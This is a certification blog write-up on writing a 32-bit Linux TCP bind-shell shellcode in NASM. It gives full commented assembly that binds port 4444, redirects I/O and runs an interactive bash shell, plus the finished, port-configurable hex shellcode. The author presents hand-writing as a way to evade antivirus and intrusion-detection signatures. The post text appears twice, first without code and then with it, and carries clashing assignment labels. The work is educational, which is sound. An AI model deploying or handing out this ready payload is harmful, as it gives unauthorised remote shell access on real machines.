In preparation for the next Offensive Security certification class and challenge (CTP and OSCE), I decided to invest some time and energy into the Security Tube Linux Assembly Expert 32-bit class. That way I can have a solid foundation in understanding the finer workings of Assembly. Especially since my focus for my second Bachelor's degree was more along the lines of system administration and back-end web development instead of the programming focus of Computer Science. Still, I never stop with my learning and barely slow down at times.
This was the first assignment out of seven (7) and the requirements for assignment one (1) were as follows:
This is a pretty standard request but I must admit the process was only somewhat familiar. I knew I could write the code pretty easily once I understood the process. For this, I had to fall back on my love for Python to understand what needed to be done. I also relied heavily on man pages along with several of the following header files.
From my knowledge of Python, I knew I had to use Assembly to perform the following tasks:
From the get go, I set out to code as many assignments as I could using the assembly knowledge learned from the course. I did this purposely because I wanted to be sure I could actually write assembly and dump the shellcode by hand, especially since freely available tools that generate shellcode have well known signatures that get picked up by Antivirus or Intrusion Detection/Prevention systems.
The full script can be found here:
https://github.com/blu3gl0w13/SLAE32/blob/master/assignment-1/bind-shell-bash.nasm
Supplemental scripts that I developed for this class can be found on GitHub at the following location: https://github.com/blu3gl0w13/SLAE32/tree/master/scripts
Like any .nasm script, we'll need to make some declarations. In this specific script, we'll communicate to the linker and compiler that we're going to use _start as our script starting point. We'll also define our .text section and the first block of code under _start:.
We then initialize our EAX, EBX, and ECX registers using the XOR instruction. The idea here is that we need to avoid a NULL (0x00) byte at all costs or otherwise risk our script not running properly. This is due to the fact a NULL byte is used to terminate strings. So, if any NULL bytes make it into our assembly program, we will run into issues when it comes time to execute the program. One thing to remember here is that any value XOR with itself will always be 0x00. That's why we use the XOR instruction to initialize our registers.
These next instructions prepare our parameters by pushing them onto the stack. When we are executing a SOCKETCALL syscall, we have to put the initial system call into EAX (this is where SOCKETCALL goes), the next system call goes into EBX (this is where SOCKET, BIND, LISTEN, and ACCEPT will go), and the parameters to our second system call will go into ECX as a pointer. This is why we push the parameters to SOCKET onto the stack in reverse order. The pointer to the stack, or the stack pointer address will eventually get copied into ECX.
Let's look into each of these values. Essentially we're pushing the values 6 (0x6), 1 (0x1), and 2 (0x2) onto the stack. If we run cat /etc/protocols we see that the TCP protocol is number 6 in the list.

If we run man 2 socket in a terminal we can get the values for the last two push instructions. Notice in the image below that SOCK_STREAM is the first option (near the bottom of the image) for the type of socket we need to create. We want to choose SOCK_STREAM because we want to use the TCP protocol. We also choose AF_INET because we want to use bind to an IPv4 address (0.0.0.0).

So why do we push these onto the stack in what appears to be backwards order? The answer is simple! The stack operates on a Last In First Out (LIFO) basis. That means if we want to call our parameters in the correct order, we'll push them onto the stack in reverse order so that when we POP them off of the stack, or in our case when the pointer is called, the parameters will execute in the correct order. Moving along we come across our next set of instructions. In order to figure out what our SOCKETCALL system call is, we'll look in /usr/include/i386-linux-gnu/asm/unistd_32.h (your location may differ slightly depending upon your distribution of Linux).

Great, we see that system call number 102 is our SOCKETCALL which in hexadecimal is 0x66. We move this into al which is an 8-bit register within EAX. Next, we copy 0x1 (SOCKET) into bl and move the pointer to our SOCKET parameters into ECX. Finally we send the interrupt 0x80 signal and create our socket. If it succeeds, we'll get a positive integer returned if the socket is created successfully. Since we'll need this return value for BIND, LISTEN, and ACCEPT, we'll have to store it in a different register. For this, we'll use EDI.
Our next bit of code starts a JMP-CALL-POP technique. This will short jump to our portconfig label. Once we short jump into portconfig, we call call_bind. When we make the call, EIP will contain the address to the portnum dw 0x5c11 instruction, and this will get pushed onto the stack.
The first instruction in our call_bind pops the address to our portnum dw 0x5c11 instruction into ESI. We now have the address of this instruction in a register and can use it in our BIND system call. This technique works well because hard coding any address into our program means our program may not work each time we execute it, plus we run the risk of the program not working on other flavors of Linux. In this block of code, it's important to notice we'll need our SOCKETFD from our SOCKET system call.
Our next section uses SOCKETCALL to call LISTEN. We'll need to use our original SOCKETFD again so that we listen on the original socket. This block follows a similar process as the socket and bind blocks.
I'll group the next two blocks of code together because they relate to each other as the second block requires the return value from the first block. Once we have our socket bound and listening, we'll need to accept connections to the socket. A quick review of the man 2 accept shows us what's needed for the ACCEPT system call.

Right of way we notice that int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen) takes our socketfd from our original socket system call, and then a struct including an address, and finally addrlen indicating that if we use an actual IP address to accept connections on, we'll need to calculate how long that address is in bytes. However, as you can see in my verbose comments in the code below, there is an important detail with ACCEPT. If our address is NULL then our addrlen must also be NULL. This works well since we'll listen on all interfaces 0.0.0.0. We will call ACCEPT much like the rest of our socket using the SOCKETCALL system call with the ACCEPT system call. Once our registers are set up, we'll use the interrupt signal to execute. The return value for this system call will get stored in EAX. The next set of instructions calls the DUP2 system call to redirect our ACCEPTFD to standard in, out, and error. This allows us to interact with the socket directly from a shell program. We'll launch this shell program next once we send the interrupt signal and execute the DUP2 system call.
At this point in the program's execution, our socket is set up, it is bound, it is listening on port 4444/TCP, and accepting connections on 0.0.0.0. It is now time we call EXECVE to run /bin////bash -i. One might ask why I decided to use the -i option with /bin/bash. This is a personal preference really. It definitely adds a few more bytes to the length of the shell code and if we are aiming for the smallest shell code size possible, this will not win any awards. What this will do, however, is allow us to have a visual cue when we connect with NETCAT because the -i option means that /bin/bash will run as an interactive shell.
One important part of this code is to point out how we setup the stack for our -i option to /bin/bash. If we look carefully at EXECVE we see that the second parameter is a pointer to the ARGV[] array. The below image shows how our stack is setup to make sure we have the correct setup for the second parameter to EXECVE which will get stored in the ECX register.

As we run the compiled version, we connect to port 4444/TCP using NETCAT and receive a shell.

Excellent, our program works as expected. For those interested, here's how long our shellcode is in bytes.

Finally, here is the actual shellcode. The last two (2) bytes are the port making it easily configurable. I wrote a python script iptohex.pyto help with the task of converting a port and IP address into hex in little endian (https://github.com/blu3gl0w13/SLAE32/blob/master/scripts/iptohex.py). You may notice that the port 4444 in hex is 0x115c. The reason it is like this in the shellcode output is because I used the little endian format within the assembly code itself.
Thank you for reading this blog! I hope you actually learned something and can use this information to better your knowledge of shellcode and 32-bit assembly on Linux. I highly recommend you give the SLAE32 course a try. Full details can be found below.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-744
Part 2 - Assignment 2
This was the first assignment out of seven (7) and the requirements for assignment one (1) were as follows:
- Create a Shell_Bind_TCP shellcode
- Binds to a port
- Execs shell upon connection
- The PORT number should be easily configurable
This is a pretty standard request but I must admit the process was only somewhat familiar. I knew I could write the code pretty easily once I understood the process. For this, I had to fall back on my love for Python to understand what needed to be done. I also relied heavily on man pages along with several of the following header files.
- /usr/include/i386-linux-gnu/asm/unistd_32.h
- /usr/include/linux/net.h
- /etc/protocols
From my knowledge of Python, I knew I had to use Assembly to perform the following tasks:
- Create a socket
- Bind the created socket
- Listen on the created socket
- Accept connections on the created socket
- Redirect the created socket to standard in, out, and error
- Assuming all the above was successful, use EXECVE to run a shell
From the get go, I set out to code as many assignments as I could using the assembly knowledge learned from the course. I did this purposely because I wanted to be sure I could actually write assembly and dump the shellcode by hand, especially since freely available tools that generate shellcode have well known signatures that get picked up by Antivirus or Intrusion Detection/Prevention systems.
The full script can be found here:
https://github.com/blu3gl0w13/SLAE32/blob/master/assignment-1/bind-shell-bash.nasm
Supplemental scripts that I developed for this class can be found on GitHub at the following location: https://github.com/blu3gl0w13/SLAE32/tree/master/scripts
Like any .nasm script, we'll need to make some declarations. In this specific script, we'll communicate to the linker and compiler that we're going to use _start as our script starting point. We'll also define our .text section and the first block of code under _start:.
global _start
section .text
_start:
; This block sets up our socket EAX will contain the
; return value. We'll need to use this value later
xor eax, eax ; clean up eax to eliminate NULL bytes
xor ebx, ebx ; clean up ebx to eliminate NULL bytes
xor ecx, ecx ; clean up ecx to eliminate NULL bytes
push 0x6 ; 3rd parameter TCP protocol to SYS_SOCKET
push 0x1 ; 2nd parameter SOCK_STREAM to SYS_SOCKET
push 0x2 ; 1st parameter AF_INET
mov al, 0x66 ; define __NR_socketcall 102 (0x66)
mov bl, 0x1 ; define SYS_SOCKET 1 (0x1)
mov ecx, esp ; ecx now contains address to top of stack for parameters
int 0x80 ; execute
mov edi, eax ; store our return value for later
We then initialize our EAX, EBX, and ECX registers using the XOR instruction. The idea here is that we need to avoid a NULL (0x00) byte at all costs or otherwise risk our script not running properly. This is due to the fact a NULL byte is used to terminate strings. So, if any NULL bytes make it into our assembly program, we will run into issues when it comes time to execute the program. One thing to remember here is that any value XOR with itself will always be 0x00. That's why we use the XOR instruction to initialize our registers.
global _start
section .text
_start:
; This block sets up our socket EAX will contain the
; return value. We'll need to use this value later
xor eax, eax ; clean up eax to eliminate NULL bytes
xor ebx, ebx ; clean up ebx to eliminate NULL bytes
xor ecx, ecx ; clean up ecx to eliminate NULL bytes
These next instructions prepare our parameters by pushing them onto the stack. When we are executing a SOCKETCALL syscall, we have to put the initial system call into EAX (this is where SOCKETCALL goes), the next system call goes into EBX (this is where SOCKET, BIND, LISTEN, and ACCEPT will go), and the parameters to our second system call will go into ECX as a pointer. This is why we push the parameters to SOCKET onto the stack in reverse order. The pointer to the stack, or the stack pointer address will eventually get copied into ECX.
push 0x6 ; 3rd parameter TCP protocol to SYS_SOCKET
push 0x1 ; 2nd parameter SOCK_STREAM to SYS_SOCKET
push 0x2 ; 1st parameter AF_INET
Let's look into each of these values. Essentially we're pushing the values 6 (0x6), 1 (0x1), and 2 (0x2) onto the stack. If we run cat /etc/protocols we see that the TCP protocol is number 6 in the list.

If we run man 2 socket in a terminal we can get the values for the last two push instructions. Notice in the image below that SOCK_STREAM is the first option (near the bottom of the image) for the type of socket we need to create. We want to choose SOCK_STREAM because we want to use the TCP protocol. We also choose AF_INET because we want to use bind to an IPv4 address (0.0.0.0).

So why do we push these onto the stack in what appears to be backwards order? The answer is simple! The stack operates on a Last In First Out (LIFO) basis. That means if we want to call our parameters in the correct order, we'll push them onto the stack in reverse order so that when we POP them off of the stack, or in our case when the pointer is called, the parameters will execute in the correct order. Moving along we come across our next set of instructions. In order to figure out what our SOCKETCALL system call is, we'll look in /usr/include/i386-linux-gnu/asm/unistd_32.h (your location may differ slightly depending upon your distribution of Linux).

Great, we see that system call number 102 is our SOCKETCALL which in hexadecimal is 0x66. We move this into al which is an 8-bit register within EAX. Next, we copy 0x1 (SOCKET) into bl and move the pointer to our SOCKET parameters into ECX. Finally we send the interrupt 0x80 signal and create our socket. If it succeeds, we'll get a positive integer returned if the socket is created successfully. Since we'll need this return value for BIND, LISTEN, and ACCEPT, we'll have to store it in a different register. For this, we'll use EDI.
mov al, 0x66 ; define __NR_socketcall 102 (0x66)
mov bl, 0x1 ; define SYS_SOCKET 1 (0x1)
mov ecx, esp ; ecx now contains address to top of stack for parameters
int 0x80 ; execute
mov edi, eax ; store our return value for later
Our next bit of code starts a JMP-CALL-POP technique. This will short jump to our portconfig label. Once we short jump into portconfig, we call call_bind. When we make the call, EIP will contain the address to the portnum dw 0x5c11 instruction, and this will get pushed onto the stack.
getsome:
; JMP CALL POP technique for port should do nicely
jmp short portconfig
...SNIP...
portconfig:
call call_bind
portnum dw 0x5c11 ; port 4444 (0x115c) don't forget little endian
The first instruction in our call_bind pops the address to our portnum dw 0x5c11 instruction into ESI. We now have the address of this instruction in a register and can use it in our BIND system call. This technique works well because hard coding any address into our program means our program may not work each time we execute it, plus we run the risk of the program not working on other flavors of Linux. In this block of code, it's important to notice we'll need our SOCKETFD from our SOCKET system call.
call_bind:
; get the port off of stack and store it temporarily
; there is some interesting referencing here for
;
; int bind(int sockfd, const struct sockaddr *addr,
; socklen_t addrlen)
; need to handle the struct *addr
; struct sockaddr {
; sa_family_t sa_family;
; char sa_data[14];
; }
pop esi ; this should be our listening port JMP/CALL/POP
xor eax, eax ; clean out eax
xor ebx, ebx ; clean out ebx
xor ecx, ecx ; clean out ecx
xor edx, edx ; clean out edx
push eax ; we'll need to listen on 0.0.0.0
push word [esi] ; port pushed onto stack make sure to ONLY push 2 bytes
mov al, 0x2 ; AF_INET IPv4 Internet protocols
push ax ; now our stack is set up
mov edx, esp ; store the stack address (of our struct)
push 0x10 ; store length addr on stack
push edx ; now we need to push the pointer to our struct onto stack
push edi ; here's our returned socketfd from our SOCKET only 1 byte
xor eax, eax ; clean out eax again
mov al, 0x66 ; define __NR_socketcall 102 (0x66)
mov bl, 0x2 ; define SYS_BIND 2 (0x2)
mov ecx, esp ; parameters for bind, ecx should already be cleaned out
int 0x80 ; call it, 0 will be returned on success
Our next section uses SOCKETCALL to call LISTEN. We'll need to use our original SOCKETFD again so that we listen on the original socket. This block follows a similar process as the socket and bind blocks.
listener:
; now we need to listen for connections
;
; int listen(int sockfd, int backlog);
;
; good thing we didn't get rid of edi
; since we'll need it here and
; for accept()
xor eax, eax ; clean out eax
xor ebx, ebx ; clean out ebx
xor ecx, ecx ; clean out ecx
push 0x1 ; int backlog
push edi ; int sockfd only a byte
mov al, 0x66 ; define __NR_socketcall 102 (0x66)
mov bl, 0x4 ; define SYS_LISTEN 4
mov ecx, esp ; parameters into ecx
int 0x80 ; call it
I'll group the next two blocks of code together because they relate to each other as the second block requires the return value from the first block. Once we have our socket bound and listening, we'll need to accept connections to the socket. A quick review of the man 2 accept shows us what's needed for the ACCEPT system call.

Right of way we notice that int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen) takes our socketfd from our original socket system call, and then a struct including an address, and finally addrlen indicating that if we use an actual IP address to accept connections on, we'll need to calculate how long that address is in bytes. However, as you can see in my verbose comments in the code below, there is an important detail with ACCEPT. If our address is NULL then our addrlen must also be NULL. This works well since we'll listen on all interfaces 0.0.0.0. We will call ACCEPT much like the rest of our socket using the SOCKETCALL system call with the ACCEPT system call. Once our registers are set up, we'll use the interrupt signal to execute. The return value for this system call will get stored in EAX. The next set of instructions calls the DUP2 system call to redirect our ACCEPTFD to standard in, out, and error. This allows us to interact with the socket directly from a shell program. We'll launch this shell program next once we send the interrupt signal and execute the DUP2 system call.
accept_connect:
; now we accept connections
; in this case we can use NULL
; values for addr. We'll have to
; we can be a bit lazier with this one
;
; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)
;
;
; The argument addr is a pointer to a sockaddr structure.
; This structure is filled in with the address of the peer
; socket, as known to the communications layer. The exact
; format of the address returned addr is determined by the
; socket's address family (see socket(2) and the respective
; protocol man pages). When addr is NULL, nothing is filled
; in. In this case, addrlen is not used, and should also be NULL.
;
xor eax, eax ; clean eax
xor ebx, ebx ; clean ebx
push eax ; set up null space addrlen
push ebx ; setup more nullspace for addr
push edi ; socketfd
mov al, 0x66 ; define __NR_socketcall 102 (0x66)
mov bl, 0x5 ; define SYS_ACCEPT 5
mov ecx, esp ; parameters to define SYS_ACCEPT
int 0x80 ; call it, eax will hold the new fd
change_fd:
; changes std in, out, error to the socket
; this is necessary for getting /bin/bash
; through the socket connection
;
; we'll use define __NR_dup2 63 (0x3f)
;
; int dup2(int oldfd, int newfd)
;
mov ebx, eax ; take fd from accept() as oldfd
xor ecx, ecx ; 0 (std in) in ecx
xor eax, eax ; clean out eax
mov al, 0x3f ; define __NR_dup2 63 (0x3f)
int 0x80 ; call it
mov al, 0x3f ; dup2
inc ecx ; 1 (std out) in cl
int 0x80 ; call it
mov al, 0x3f ; dup2
inc ecx ; 2 (std error) in cl
int 0x80 ; call it
At this point in the program's execution, our socket is set up, it is bound, it is listening on port 4444/TCP, and accepting connections on 0.0.0.0. It is now time we call EXECVE to run /bin////bash -i. One might ask why I decided to use the -i option with /bin/bash. This is a personal preference really. It definitely adds a few more bytes to the length of the shell code and if we are aiming for the smallest shell code size possible, this will not win any awards. What this will do, however, is allow us to have a visual cue when we connect with NETCAT because the -i option means that /bin/bash will run as an interactive shell.
shell_time:
; now it's time to launch our shell
; program using execve. I prefer
; /bin/bash we'll use /bin////bash
; execve is 0xb (11)
; int execve(const char *filename, char *const argv[],
; char *const envp[])
xor eax, eax ; clean out eax
push eax ; need a null byte for execve parameters
push 0x68736162 ; hsab
push 0x2f2f2f2f ; ////
push 0x6e69622f ; nib/
mov ebx, esp ; save stack pointer in ebx
push eax ; Null onto stack
push word 0x692d ; "-i" parameter to /bin/bash
mov esi, esp ; save the argument pointer
push eax ; null byte terminator
push esi ; pointer to "-i" parameter to /bin/bash
push ebx ; points to 0x00hsab////nib/
mov ecx, esp ; store pointer to 0x00hsab////nib/ into ecx
xor edx, edx ; NULL as last parameter
mov al, 0xb ; execve
int 0x80 ; call it
portconfig:
call call_bind
portnum dw 0x5c11 ; port 4444 (0x115c) don't forget little endian
One important part of this code is to point out how we setup the stack for our -i option to /bin/bash. If we look carefully at EXECVE we see that the second parameter is a pointer to the ARGV[] array. The below image shows how our stack is setup to make sure we have the correct setup for the second parameter to EXECVE which will get stored in the ECX register.

As we run the compiled version, we connect to port 4444/TCP using NETCAT and receive a shell.

Excellent, our program works as expected. For those interested, here's how long our shellcode is in bytes.

Finally, here is the actual shellcode. The last two (2) bytes are the port making it easily configurable. I wrote a python script iptohex.pyto help with the task of converting a port and IP address into hex in little endian (https://github.com/blu3gl0w13/SLAE32/blob/master/scripts/iptohex.py). You may notice that the port 4444 in hex is 0x115c. The reason it is like this in the shellcode output is because I used the little endian format within the assembly code itself.
"\x31\xc0\x31\xdb\x31\xc9\x6a\x06\x6a\x01\x6a\x02\xb0\x66\xb3\x01\x89\xe1\xcd\x80"
"\x89\xc7\xeb\x7b\x5e\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x66\xff\x36\xb0\x02\x66"
"\x50\x89\xe2\x6a\x10\x52\x57\x31\xc0\xb0\x66\xb3\x02\x89\xe1\xcd\x80\x31\xc0\x31"
"\xdb\x31\xc9\x6a\x01\x57\xb0\x66\xb3\x04\x89\xe1\xcd\x80\x31\xc0\x31\xdb\x50\x53"
"\x57\xb0\x66\xb3\x05\x89\xe1\xcd\x80\x89\xc3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80\xb0"
"\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x2f\x2f"
"\x2f\x2f\x68\x2f\x62\x69\x6e\x89\xe3\x50\x66\x68\x2d\x69\x89\xe6\x50\x56\x53\x89"
"\xe1\x31\xd2\xb0\x0b\xcd\x80\xe8\x80\xff\xff\xff"
"\x11\x5c"
Thank you for reading this blog! I hope you actually learned something and can use this information to better your knowledge of shellcode and 32-bit assembly on Linux. I highly recommend you give the SLAE32 course a try. Full details can be found below.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-744
Part 2 - Assignment 2
Comments
Post a Comment
Please leave a comment. Keep it on topic and appropriate for all audiences.